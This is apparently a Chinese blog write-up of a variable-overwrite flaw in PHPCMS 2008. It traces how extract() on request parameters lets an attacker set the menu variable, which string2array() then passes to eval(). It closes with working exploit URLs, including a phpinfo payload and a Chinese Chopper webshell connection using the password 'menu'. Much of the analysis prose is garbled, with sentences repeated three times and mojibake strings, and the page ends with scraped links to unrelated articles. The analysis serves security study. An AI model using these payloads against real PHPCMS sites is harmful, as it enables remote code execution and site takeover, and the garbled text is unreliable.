phpcms 2008 变量覆盖漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\ phpcms 2008),点击确定
漏洞分析
1.点击展开/yp/web/include/common.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');
$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
extract($r);
}
if(!$userid)
{
$MS['title'] = '浣犺璁块棶鐨勭珯鐐逛笉瀛樺湪';
$MS['description'] = '璇锋牳瀵圭綉鍧€鏄惁姝g‘.';
$MS['urls'][0] = array(
'name'=>'璁块棶缃戠珯棣栭〉',
'url'=>$PHPCMS['siteurl'],
);
$MS['urls'][1] = array(
'name'=>'娉ㄥ唽涓烘湰绔欎細鍛?,
'url'=>$PHPCMS['siteurl'].'member/register.php',
);
msg($MS);
}
程序首先赋值一个userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给r变量数组,如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果userid变量内容为false则将显示错误页面内容,但是目前userid并没有找到在哪里获取。2.如果userid并没有找到在哪里获取。
2.如果userid并没有找到在哪里获取。2.如果userid不为false,则接着往下执行
if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';
$tpl = $companytpl_config[$tplname]['tplname'];
define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}
$menu = string2array($menu);
代码接着进行初始化模板文件,最后将menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量从何而来?
3.现在需要了解一下string2array()到底什么作用,string2array函数存放在include/global.func.php
function string2array($data)
{
if($data == '') return array();
eval("\$array = $data;");
return $array;
}
看到函数发现,内部有eval敏感函数,并且把传送过去的menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu变量可以控制,那么完全进行任意代码执行。
4.目前成立这个假设userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成menu变量,如果能够让数据库返回空,不让他覆盖或者生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,从而执行想执行代码。
5.在include/common.inc.php文件中,会将GET、POST、Cookie转换成变量
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
所以可以利用这个位置提前生成menu变量和menu变量和menu变量和userid变量,并且把userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,menu变量内容为想要执行的代码。
漏洞利用
1.访问
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=phpinfo();exit;

菜刀直接连接
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=exit;
//密码 menu
phpcms 2008 变量覆盖漏洞的更多相关文章
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- ctf变量覆盖漏洞:
1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- 7. 由一道ctf学习变量覆盖漏洞
0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...
- Web安全之变量覆盖漏洞
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- CTF——代码审计之变量覆盖漏洞writeup【2】
题目: 基础: 所需基础知识见变量覆盖漏洞[1] 分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
随机推荐
- Solution -「UR #2」「UOJ #32」跳蚤公路
\(\mathcal{Description}\) Link. 给定一个 \(n\) 个点 \(m\) 条边的带权有向图,每条边还有属性 \(s\in\{-1,0,1\}\).对于每个 \(u ...
- Anchor-free目标检测综述 -- Keypoint-based篇
早期目标检测研究以anchor-based为主,设定初始anchor,预测anchor的修正值,分为two-stage目标检测与one-stage目标检测,分别以Faster R-CNN和SSD作 ...
- MybatisPlus字段自动填充配置
实体类 @ApiModelProperty(value = "创建时间") @TableField(fill = FieldFill.INSERT) private Date gm ...
- nginx 80端口强制转443
server { listen 80; server_name test.com; rewrite ^(.*)$ https://${server_name}$1 permanent; } serve ...
- Python 面向对象编程之封装的艺术
1. 面向对象编程 OOP ( Object Oriented Programming) 即面向对象编程. 面向对象编程是一种编码思想,或是一种代码组织方式.如同编辑文章时,可以选择分段.分节的方式 ...
- const 和指针之间的姻缘
const和指针到底有何姻缘呢? char const *p = NULL; //char const 和 const char 是一样的,p 是一个指向常整型的指针变量 ,指针变量的值不能改变 ch ...
- CobaltStrike逆向学习系列(10):TeamServer 启动流程分析
这是[信安成长计划]的第 10 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 基本校验与解析 0x02 初始化 0x03 启动 Listeners 在之前的分析中,都是针对 Cob ...
- 轩辕展览-VR虚拟展厅设计的好处和优势是什么?
yu情仍在继续,实体展厅很糟糕,在过去两年之中,越来越多的实体展厅因闲置而关闭,线上VR虚拟展厅设计逐渐走出圈子,凭借云展示的优势和国家政策的支持,登上展示和销售的旗帜. 产品线上展厅的优势是什么1. ...
- virtualenv 创建隔离工作环境
在开发 Python 应用程序的时候,每个项目所需要的python版本和各种包依赖都可能不完全一样,我们当然希望当前运行环境只包含对当前项目有用的包依赖,以保证运行环境的干净.virtualenv就是 ...
- C# 9.0元组 (ValueTuple)详细解说
元组 (ValueTuple)类型是值类型:元组元素是公共字段,可以使用任意数量的元素定义元组.Tuple类型像一个口袋,在出门前可以把所需的任何东西一股脑地放在里面.您可以将钥匙.驾驶证.便笺簿和钢 ...